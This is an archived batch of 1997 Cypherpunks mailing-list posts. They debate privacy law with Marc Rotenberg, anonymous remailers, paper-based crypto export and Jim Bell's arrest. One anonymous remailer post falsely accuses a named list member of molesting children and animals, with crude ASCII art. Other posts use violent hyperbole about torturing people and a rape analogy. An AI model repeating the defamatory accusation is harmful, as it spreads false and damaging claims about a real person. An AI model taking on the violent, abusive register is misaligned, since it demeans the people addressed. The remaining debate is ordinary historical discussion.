(There is no "right" to buy something from someone.)

In reality, I cannot remember the last time a store demanded a True Name,
except when: a) credit (check or credit card or loan) was involved, or b)
the government demanded such a True Name.

The first situation is avoided by paying cash, using a deposit, etc.  The
second situation is not so easily avoided.

But I submit that the hypo of a company refusing to sell a product unless a
True Name is given is unlikely in the extreme, and is not any kind of
justification for a new set of so-called privacy laws which actually
interfere with other basic rights.

>One of the consequences of legal obligations on companies
>that collect personal information might be to encourage
>more payment anonymous, psuedo-anonymous payment schemes.
>Wouldn't that be a good result?

If privacy is important to an agent, make it part of the contractual
arrangement. Again, this is already done in a huge array of cases.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 1 Jun 1997 06:59:56 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
Message-ID: <199705312243.PAA16312@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
> 
> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> Rights Groups (tm) as a pain in the ass

  A polite, mild-mannered person such as yourself? I can't imagine.

> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> anti-spam legislation, saying that what the legislators in Congress really
> need to look into is how the spammers develop their data bases.....
> 
> Incredible. Does he propose investigations of private data gathering?
> Perhaps search warrants served on those who take public postings and
> construct data bases?
> 
> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> realize 

  I'm certain you also realize that enough of our rights and freedoms
are being taken away in order to save us from "dangerous threats" from
every conceivable source, that we have little use for even more of them
being taken away to protect us from "annoyances."
  I think I'll email Rotenberg and suggest that he enlist Tim May's
support by promising legislation to support warrantless searches for
the purpose of stopping the ASCII art slams of Tim. Knowing how our
"saviors" end up walking with the Devil *over* the bridge once they
become enmeshed in the D.C. mentality, Rotenberg will probably thank
me for the idea.

  To save the citizenry from the "annoyance" of unregulated sidewalk
traffic the city of Moose Jaw, Saskatchewan, passed a law requiring
people to walk on the left side of the sidewalk.
  I sent in a facetious letter to the newspaper supporting the law,
saying things like, "Use of the sidewalk is a privilege, not a right."
etc. I couldn't believe the number of lunatics who took my letter
seriously and supported my position.

  One of my goals in life is to hunt down, mutilate, maim and torture
the individual who coined the expression, "There ought to be a law."

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 1 Jun 1997 03:57:35 +0800
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: legal EAR work-around/Paper based remailers
In-Reply-To: <199705310853.JAA00659@server.test.net>
Message-ID: <199705311943.PAA10259@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

| Technical questions: If this is to include uuencoded or radix-64 mime
| encoding, we might want to think about redundancy to allow error
| correction.  Perhaps we want that anyway to ensure that what we have
| is 100% character-by-character perfect.  Or perhaps not as it may
| damage the legality aspects.  They may start saying that you can only
| export human readable stuff on paper, etc.  Then we move on to `texto'
| apparently human readable steganographically encoded paper based
| remailer messages.

	The place we really want the redundancy is in the alphabet
used, not in the data.  Most OCR systems have clever algorithims to
figure out that that blob after a 'q' is really a 'u'.

	To take advantage of this, you could encode everything in
RFC1751(?, S/Key style) word lists.  The expansion factor is extreme,
so use gzip --best.

	Alternately, you could turn off context sensitivity on your
scanner, and use an alphabet of abcdfgijknopqrstuvxyz (depending on
your font--in lucida these are all pretty dissimilar, using a
hueristic of 'more than one led bar' different.)

	With some experimentation, you might be able to expand that a
bit with punctuation and numbers.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 1 Jun 1997 07:05:50 +0800
To: cypherpunks@toad.com
Subject: Remailer Follies
Message-ID: <199705312243.PAA16315@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeff Burchell wrote:
> 
> I have added your address to my block list, this remailer won't send
> anything directly to you in the future. 

> -Jeff
> Operator... Huge.cajones.com

  I have a friend who used to operate a remailer and he told me a
story about receiving an abuse complaint and request for blocking
from an acquaintance who was unaware that he was the operator of
the remailer. The person making the complaint was also a user of
the remailer.
  My friend composed a highly officious reply which indicated that
he had logged and read the remailer messages of both parties and
had reached the conclusion that the complaintant was indeed a
fascist, asshole, etc. and thus did not have a valid complaint
according to the policy of the remailer. He included enough 
personal details regarding the complaintant to indicate that he
had actually been snooping through the messages.
  The complaintant was dumbfounded and responded with a message
asking, "Are you crazy? Do you have any fucking idea what the
concept of anonymity implies?", etc. He concluded by stating that
in the future he would be using encryption in his remailer activity
and send them via other remailers.

  My friend enlisted the aide of another remailer operator who
was a close friend of the complaintant and was known by him to
be the operator of the second remailer.
  The second fellow emailed his friend to announce that a group
discussion between remailer operators had resulted in the decision
that his friend would only be allowed to send plaintext messages
through the remailers since it was standard policy to monitor the
messages to and from "troublemakers" in order to protect the
operators from unfounded accusations against them.
  At this point the complaintant was slightly suspicious of being
the butt of a joke but he was still gullible enough that the two
remailer operators had a bit more fun before copping to the fact
that they were just yanking the complaintant's chain. They had 
the decency to promise not to use the complaintant's real name
when telling the story of their prankery.

> P.S.  Besides... aren't ad hominum attacks on Tim May a Cypherpunks
>       tradition?

  A day without a Tim C. May attack is like a day without moonshine.

MailMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 04:58:34 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <k25k8D56w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Marc Rotenberg <rotenberg@epic.org> writes:
> Let me also try to explain how the simple-minded
> First Amendment-privacy rights trade-off often
> misses the point about privacy claims.  Consider
> the article about Judge Bork's video viewing
> habits back in 1987. Should Congress/the Courts
> prevent City Paper from publishing the article?
> Of course not. Could Congress/the Courts require
> video record stores not to disclose customer
> records without explict consent? You decide.

This law is unenforceable.  If you want to rent porn videos and you have
some brains (the two may be mutually exclusive...) you'd pay cash and
make the transaction totally anonymous.

Should there also be a law against grocers keeping track of who's buying what?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 05:01:00 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531140858.21537A-100000@cp.pathfinder.com>
Message-ID: <s65k8D57w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@pathfinder.com> writes:

>
> On Sat, 31 May 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Of course, the "anti-spamming" laws will also be used to suppress the
> > "politically incorrect" speech.  Recall that Jim Bell has already been
> > accused of "spamming", in addition to other crimes.
>
> Uh, no. Bell was charged with violating:
>
> 26 U.S.C. Section 7212(a)
> 42 U.S.C. Section 408(a)
>
> Which are, generally, attempts to interfere with administration of
> internal revenue laws and fraudulent use of a false SSN.
>
> Besides, spamming isn't a criminal offense, last time I checked.
>
> In the interests of completeness, I should note that I just finished a
> rather long article about Bell's arrest and related events for Internet
> Underground magazine. The government hinted that they might have
> additional charges to file against Bell by the time the grand jury
> convenes in probably two weeks. He is currently being held without bail, a
> situation more common in Federal than state courts.

We're talking about different things, Declan.  Learn to read.

I reposted someone's Usenet article whose author accused Jim of "spamming
the net" with his AP essay.  That's separate from his criminal charges.
If "spamming" were a crime, he'd probably be charged with that too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataET Research <staff@dataet.com>
Date: Sun, 1 Jun 1997 07:47:40 +0800
To: cypherpunks@toad.com
Subject: Decryption Contest Details (Updated)
Message-ID: <3390B399.49BC@dataet.com>
MIME-Version: 1.0
Content-Type: text/plain


Host: DataET Research (http://www.dataet.com)
Contest expiration date: July 1st, 1997
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Key byte value range: 0 to 255 (decimal), 00 to FF (hexadecimal)
Encrypted (secured) file size: 50,000 bytes (binary, Intel)
Decrypted (unsecured) file size: 50,000 bytes (binary, Intel)
Key and message post location: cypherpunks@toad.com
Contact: info@dataet.com
Limitations: U.S. residents only
Prize: Two free basic Web site packages and $200.00 U.S.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 04:54:13 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102803afb61b594b27@[207.167.93.63]>
Message-ID: <Bc6k8D58w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:
> Like speaking in French amongst other people who don't understand French,
> or using hand signals, or using a code book. Or whispering.

It amuses me to hear this from the ignoramus who preaches that there's
no need for Americans to learn foreign languages.

It also reminds of a recent case when Spanish-speaking nurses were
disciplined for speaking Spanish in the presense of their supervisor
who didn't understand it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sun, 1 Jun 1997 08:26:17 +0800
To: cypherpunks@toad.com
Subject: Government Conspiracy
Message-ID: <199706010011.RAA17277@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C. Mayflower sexually molests little children, farm 
animals, and inanimate objects.

     < >            < >
      V    )_.._(    V Timmy C. Mayflower
      \\   <____>   //
        ~ <______> ~      >
        /~\______/~\     //
        /~\_____/~\     /_\
        /~\____/~\     /_\
         /~\___/\~\  _/_\/
            \___/\__/__\/
              \___/__\/

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sun, 1 Jun 1997 05:45:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <v03007801afb643715b3a@[207.172.96.178]>
MIME-Version: 1.0
Content-Type: text/plain


>At 12:02 PM -0700 5/31/97, Marc Rotenberg wrote:
>>Back to Tim's original point, I wonder if he knows
>>that the P-TRAK data that Lexis/Nexis said was
>>"public information" was actually taken from
>>credit reports collected and sold by TransUnion.
>>TU was able to sell the data because of a loophole
>>in the Fair Credit Reporting Act. Sure, you post
>>to the net that's public, but a lot of data collection
>>is much more sleazy.
>
>In my view, the Fair Credit Reporting Act is an unconstitutional
>restriction on my right to compile records as I see fit.
>
>Under the FCRA, if I take newspaper reports and public filings, for
>example, of someone's bankruptcy in 1985 and make this part of "Tim's
>Credit Evaluation" of that person, I have violated the FCRA.
>
>(I believe the current "limit" for such "rememberances" is 8 years. Why
>should the government have any ability to tell me I must "forget" records
>older than 8 years? In fact, what part of "Congress shall make no law..."
>do they not understand?)

It's an interesting argument. I don't agree, though
you can certaintly try it. But more to the point of
your original post, is the information that TransUnion
sold to Lexis/Nexis for P-TRAK "public information"?
If yes, what is private information?

>More  to the point of the Cypherpunks list--and this is something we talked
>about at the very first physical meeting, almost 5 years ago--it will
>become increasingly easy for the FCRA to be bypassed with offshore data
>havens. . . .

I know all these arguments. Some people said not to worry
about passage of the CDA since it couldn't be enforced.
Nice thought.  Fortunately, ACLU, EPIC, et al challenged
it in court.

>>I'd also appreciate some comment/criticism on
>>the piece I did for Wired. My point was that
>>in countries where there are legal rights to
>>privacy it will be easier for technologies of privacy
>>to flourish. I gave as examples the fact that PRZ
>>was nearly indicted in the US while David Chaum
>>was being applauded by the European Commission
>>for building anonymous payment schemes. The OECD
>>crypto policy drafting experience confirmed my
>>suspicion.
>
>I seldom read "Wired," so I didn't see this one. But the issues of Europe
>vs. the U.S. are notoriously complex. For every "Europe is better" point,
>such as not applying pressure to PRZ, there are the obvious counterpoints,
>such as Compuserve being prosecuted in Germany, the nearly full ban on
>crypto in France, the extradition of an American neo-Nazi publisher from
>Belgium to Germany, and so on.

I agree that there are real threats to cyber freedom in Europe.
I'm not saying otherwise. But my point is that anonymous remailers
and the like will have a better future in countries that recognize
a right of anonymity as opposed to those that don't.

>And as for Chaum and Digicash, Digicash is now in Silicon Valley. No firm
>conclusions can be drawn one way or another.

Yeah, right. And the Euro countries are pushing just as hard for
key escrow as the US govt.

>
>Oh, and as for privacy in Europe, I'll remember how much they cherish
>privacy the next time I'm required to leave my passport with the hotel
>front desk (Europeans confirm that the police compile lists each night from
>said deposited passports). They were still doing this in 1983 when I spent
>6 weeks travelling through Europe; and it wasn't to ensure I'd pay my bill,
>as they had my credit card stuff for that.

Fine. And I almost got arrested two weeks ago (May 1997) walking out
of the Library of Congress cause I didn't want to fill out a form with
my name and the serial number of my computer.


>>Let me also try to explain how the simple-minded
>>First Amendment-privacy rights trade-off often
>>misses the point about privacy claims.  Consider
>>the article about Judge Bork's video viewing
>>habits back in 1987. Should Congress/the Courts
>>prevent City Paper from publishing the article?
>>Of course not. Could Congress/the Courts require
>>video record stores not to disclose customer
>>records without explict consent? You decide.
>
>The best solution is neither of these options: Video rental stores don't
>need True Names except to collect on unreturned tapes. (They might _like_
>True Names, or at least mailing addresses, for advertising reasons, but
>they don't _need_ them, and, like Radio Shack, will not make it a
>requirement for a transaction.)
>
>As with other such items, deposits work well here. My localvideo store does
>not require true names, so long as a sufficient deposit is left for each
>tape. Most persons use credit cards as the "return guaranty." Note also
>that credit cards need not be in the true name of anyone, via various
>options, much discussed on various lists.

I agree completely with this. I/EPIC have a strong preference for
anonymous transactions. And we've been fighting this one in DC
practically alone for a long time.

The question is what are you going to do with companies
that won't let you buy a product unless you provide
your True Name?

One of the consequences of legal obligations on companies
that collect personal information might be to encourage
more payment anonymous, psuedo-anonymous payment schemes.
Wouldn't that be a good result?


>>To be clear, I do believe that there should be
>>laws to protect the right of privacy and that
>>there should be an office within the federal
>>government to advocate on behalf of privacy
>>interests. I also believe that if such an agency
>>had been established in 1991 when it was proposed,
>>it would have been much harder for the government
>>to push subsequently for digital telephony, Clipper,
>>GAK, etc.
>
>I don't believe there should be such laws, obviously.
>
>And more importantly, strong crypto provides numerous monkeywrenchings of
>such laws.
>
>Pass a law requiring return addresses on all messages....the effect will be
>to move the spam sites offshore. Then what do you do?

I think I've answered this above. Yeah, you can always
break a law, and you don't have to move offshore to do it,
but laws still matter.
>
>(When EPIC and ACLU figure out the real implications of strong crypto, look
>for them to talk about "compromises" on access to strong crypto....hey,
>maybe SAFE is an indication they've started to realize what is coming.)

I'm not quite sure what this means, but if Tim knows any group
in DC that has fought harder for strong crypto, I'd like to
know who it is.

Marc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 08:46:46 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102806afb650b3d40d@[207.167.93.63]>
Message-ID: <v03102807afb671036b89@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:05 PM -0700 5/31/97, Marc Rotenberg wrote:

>What examples do you have where privacy is included in
>a contractual arrangement?


- a lender agrees to transfer the information provided only to specified
parties, and not to the newspapers

- a stockbroker agrees that as a condition of becoming one's stockbroker he
won't release information to third parties without permission

- relationships between editors, publishing houses, journalists, etc.,
where work product is kept confidential unless otherwise agreed to be made
public

- attorney-client communications

(These and similar examples often have state-supported legalisms to "go
after" those who break the good faith and/or normative contracts for the
industry, but it is accurate to say that these examples are first and
foremost based on _contracts_. Indeed, in all of these cases there are
papers signed stipulating to a constellation of rights and privacy
expectations. And in some cases the rights are subsumed in "general
industry practices," including professional organizations. Thus, I expect
my stockbroker not to publicize my stock holdings, not because there is a
"privacy law" protecting me, but because of either a contract formally
specifying this, or because of industry standards....I freely admit I
haven't checked, nor do I even know how to (my account was established 22
years ago). Those who might argue that these examples are only made
possible because of _laws_ (e.g., SEC rules) are missing the role of
contracts, formal or based on self-regulation in an industry. My broker
knows just how long he'd remain a broker, let alone remain my broker, if he
violated my privacy expectations. Laws are not the point. Nor do laws
provide the robust protection private arrangements provide.)

- banking privacy, modulo the interference by IRS/FinCEN/etc.,

- employment relations, where employees have reasonable expectations that
personal data will not be released outside the company, and companies have
reasonable expectations that corporate secrets will be maintained. (I
signed such papers when I joined Intel, of course, and that contract was
more important for maintaining Intel's "privacy" than any "privacy laws."
Again, quibblers may cite the role of the courts in enforcing such
contracts, but the point remains that it was _contract law_ which was
involved, not "privacy laws" per se.)

And so on. I really don't feel like spending a lot of time making a laundry
list of cases where privacy is part of a mutually agreed upon transaction.

Idenity is just another credential in a transaction.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 1 Jun 1997 06:43:47 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
Message-ID: <1.5.4.32.19970531222304.00952bcc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky's right on Bell's undue incarceration. 

There's more to the story than tax avoidance. Declan 
perhaps should look beyond the government's citations of 
law to examine the other allegations of intent to harm 
federal officials which did not receive substantiating cites.

The affidavit which prompted Jim's arrest was a potpourri of 
disingenuous spleen and bile and unintentional humor.

This appears to be another instance of the USG patchworking 
public menace and phlegm (the Kallstrom syndrome) when it's 
in its self-preservative and -promotional interest to do so. 

As Tim and cie often note, the syndrome's fountainhead is DC 
and world centers of ambitious regulators, enforcers and
promoters for "public security." Which is fast replacing 
national security, via dual-use sleight of hand, as a career 
trajectory.

Counterterrorism is the fastest growing governmental subculture 
at the moment, and no longer aimed overseas. Secret laws,
courts and committees are burgeoning, anticipating that the
public cannot be trusted to protect itself against the enemy
within, ahem, the Beltway.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 07:11:08 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
Message-ID: <199705312255.SAA26780@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert A. Costner wrote:
> At 10:13 PM 5/30/97 -0700, Tim May wrote:
> >The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> >anti-spam legislation, saying that what the legislators in Congress really
> >need to look into is how the spammers develop their data bases.....
> ...
> >Incredible. Does he propose investigations of private data gathering?
> 
> I'd agree here.  Rather than have Congress blindly pass a law, some
> investigation of the matter should be done first.  While I am not supporting a
> law, any such law should have three parts:

  I don't support a new Holocaust, but if we are going to build gas
chambers for killing Jews, they should be...
  When you are on a car lot "just looking" at the new models, the sales
person quickly gets you deciding on the color and other features that
you would want if you *did* purchase a car. You end up driving home in
a car you can't afford and with a vague feeling that the sales person 
might be the one who is responsible for all that legislation that keeps
getting passed for your benefit.

> For good or for bad, the current movement in lawmaking is to plug these
> loopholes that exist for email.

  Judging from the governments past success in plugging the "loopholes"
that allow people to exercise their right to Free Speech, I am certain
they will be able to "save" us from the incredible danger that spam
represents to our well-being.
 
> >Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day.
> 
> Then you miss the point.  For all practical purposes, the spam industry does
> not exist in the US.
> The current
> spam bills are meant to address the actions of about five people in the entire
> United States.

  If the small number of people affected is the basis for justifying
the action taken on the issue, then we could just kill them. If you are
going to rob a bank, take *all* of the money. If you are going to rape
someone, then put it *all* the way in.
  {"Your honour, I would like to point out that my client only raped
five women, and he didn't even stick his schlong all the way in. That
hardly puts him in the same category as a *real* rapist.}

> The manner in which the information is collected is invasive.  People feel
> their privacy is being violated.  The right to be left alone is a fundamental
> right.

  Somebody forgot to tell the government. 

>   -- Robert Costner                  Phone: (770) 512-8746
>      Electronic Frontiers Georgia    mailto:pooh@efga.org

  If you are in any way profiting from the EFG, whether monetarily or
by increased reputation capital, etc., then your post is an Unsolicited
Commercial Email. If not, then it is spam. I can say this with absolute
authority, because I am the person who decides which of my mail is spam
and which is not.
  Encryption businesses sometimes post announcements of new releases 
and the like on the cypherpunks list and I don't usually consider it to
be spam. DataETR posted an announcement on the list and then complained
mightily when cypherpunks asked serious questions about their product.
In my mind, that made their announcement just another commercial product
spam. Now that they have made an effort to actually participate in the
list by "listening" to the list members I no longer consider them to be
just another commercial spammer.

  A few list members who have a product or cause to push do so without
adding any real input to the list. In my mind, their posts are usually
as interesting as reading about how someone is making "BIG $$$" by
spamming me.
  Tom Weinstein, of Netscape, actually "participates" in the list by
discussing the pro's and con's of his product and others, and being
generally realistic about his company's product. If his posts were 
nothing more than claims about how Netscape would get those nasty stains
out of my shorts, then I would consider them spam.
  Jim Bell beat his "Assassination Politics" drum to the point where
he beat it to death and his posts became unwanted spam to some on the
list.

  I read privacy related announcements and the like from organizations
which are theoretically in alliance with the general aims of the list
and consider many of them to be useless spam.
  "XXXX Organization Fighting For Legislation That Only Fucks Over
Five People!"
  "YYYY Organization Supports Bill That Lets Government Cut Off One
Of Each Citizen's Fingers, Instead Of Two!"

  As far as I am concerned, any organization that is "fighting" for
"my" rights by getting involved in political lobbying/activism, etc.,
holds no interest for me as a cypherpunk. There is not a mother's son
among them who isn't soon knee-deep in self-serving "deals" and
"compromise."
  I don't participate in this list to read self-serving missives which
attempt to justify career activists' participation in the government's
dark comedy. If Bill Clinton posted his announcements in regard to
government crypto policy on the cypherpunks list, I would consider it
to be spam. If he sincerely solicited my opinion on the policies, then
he would be a list participant.

  There are some list members whose posts are so knee-jerk and 
unthinking that they amount to nothing more than an unsolicited 
commercial advertisement for their precious self-image. 
  Please! Don't fight for legislation to protect me from their posts.
I would be tempted to support legislation requiring certain list
members to put "BORING AND STUPID" in the Subject header, but then
I would probably be forced to put "CYNICAL AND PESSIMISTIC" in my
own Subject headers.

  My failure to include a donation to your organization with this
post is not an oversight.

C&P





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 1 Jun 1997 02:14:19 +0800
To: whgiii@amaranth.com
Subject: Re: legal EAR work-around/Paper based remailers
In-Reply-To: <199705311334.IAA18924@mailhub.amaranth.com>
Message-ID: <199705311800.TAA00253@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



William Geiger <whgiii@amaranth.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes
> > [export via printing out on paper, and scanning via automated for pay
> >  email gateway]
> 
> Why bother with all of this. If you want to export crypto then just do it.
> As long as we keep up with this mickymouse approach to exports trying to
> appease the FEDs who are acting unconstitutionaly on this matter things
> will never change. Put up a web page or a ftp site with the crypto
> binaries and let whomever wishes to download them download them.

Do you have a copy of PGP5.0 on there?  I wouldn't mind looking at
that.

> I have done this and I will continue to do this dispite what the goons in
> DC have to say about it.
> 
> We must all hang together or we will all hang.

If you export it, and make a big deal of it advertising your web page
as widely as you can, and talk to newspapers about how you're
purposefully violating the export law, I'd predict you'd get a visit
from the Feds in a few days.  As long as you're low key, you're just
one of the hundreds getting away with it, and not worth the effort to
stop.

I think the key is to make fun of them, so that they loose
credibility.  They don't like being laughed at.

So Sun Microsystems did a real good job by getting stuff produced in
Russia.  Russia of all places, given the average US persons jingoistic
antagonism towards the "Commies".  Excellent.

So my proposal is aimed at being another stunt.  It might be
news-worthy (ie get reported on enough that it get discussed, and to
make the US government look exceedingly stupid).

And it's perfectly legal, so you can't be stopped.

If PGP Inc wants to mail out the latest version of PGP, they are
welcome to.

I mean come on, next thing, the providor of this service will be
offering web space too, so that US firms can link to their own
binaries which they exported themselves 100% legally.

Now all they need is some reseller agreements, or overseas sales
offices to export worldwide unrestricted, dumb laws or not.

It has been speculated that this change to the regulations might have
been due to Phil Karn's ploy of asking to export the source code disks
of the examples in Applied Crypto.  I think that is a cool
speculation.

Now we all know all the freeware and shareware crypto gets everywhere
anyway.  But no US companies are not exporting high grade crypto
generally, and US companies produce the lions share of application and
OS software.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 1 Jun 1997 08:17:49 +0800
To: root@fatmans.demon.co.uk (root)
Subject: Re: Censored pages
In-Reply-To: <Pine.LNX.3.91.970601003623.361A-100000@fatmans.demon.co.uk>
Message-ID: <199706010005.TAA00764@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


if it is not more than 500K, I can also host this stuff.

igor

root wrote:
> 
> 
> Message to prolife alliance, CCd to Cypherpunks list:
> 
> I noticed an article in .net a few days ago detailing how the prolife 
> alliance, a UK anti-abortion group, had been required to remove images of 
> aborted foetuses <sp?> from their web site. 
> 
> Clearly this is another incident of jackbooted motherfuckers censoring 
> images that happen to contradict their particular brand of thuggery. 
> 
> I am sending this message to the prolife alliance to ask them to send a 
> .zip or .tar`d file of their pages to me along with the censored images, 
> I am also of course CCing this to cypherpunks to see if anyone out there 
> not in the UK is also interested in mirroring these pages, if so send me 
> email, or send direct to prolife@enterprise.net, who will, hopefully, 
> provide us with a copy of these pages.
> 
> Note please cypherpunks that if there is any thread I do not wish to 
> start it is a pro/anti abortion thread, therefore, I am making no 
> judgements whatsoever, merely suggesting action to prevent censorship...
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 07:44:15 +0800
To: cypherpunks@toad.com
Subject: Re: There's something wrong when I'm a felon under an increasing number of
Message-ID: <199705312314.TAA27646@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> 
> > >   A major nail in the coffin of Justice for any accused in the U.S.
> > > was when the justice system promoted the concept of guilt by virtue
> > > of "circumstantial" evidence to the point where people can now be
> > > convicted as a result of speculation rather than evidence. Prosecutors
> > > now seem to need only to convince the sheeple that it was "possible"
> > > for the defendant to have commited the crime and that circumstantial
> > > evidence points *only* to the accused.
 
> I don't understand the animus against circumstantial evidence,
> frankly.  Some circumstantial evidence is extremely good evidence.

  The problem is the addition of a mountain of bullshit which is
presented as "evidence" in most prosecutions in order to throw
enough crap at the defendant to ensure that some of it will stick.
  For example, do we really need to have a forensic expert tell us
that a paramilitaristic individual (McVeigh) has traces of things
such as gunpowder, etc., in his clothing? This has about as much
meaning as producing "evidence" that McVeigh took a crap while
he was in custody to "prove" that he ate the food delivered to the
motel room in question.
  Do we need a series of people to bend over backwards to produce
evidence that a telephone calling card PIN number that could have
been used by anybody *might* have been used to place certain calls?

  Perhaps the above examples couldn't be used to support *real* 
evidence of McVeigh's guilt, but there seems to be precious little
of that. In contrast, there is even stronger evidence that precludes
McVeigh having been driving the truck used in the bombing.
  And what kind of "evidence" is a mountain of horrific examples
of dead bodies, etc? It is "evidence" that "somebody has to pay"
for the bombing. Would McVeigh be "innocent" if the prosecution
showed only *one* picture of dead bodies? 

  What we see in the justice system today is reflective of the same
mentality that pervades legal and social issues surrounding the
development, implementation and use of technologies which relate to
our privacy and freedom.
  The government "encryption prosecutors" use the same techniques
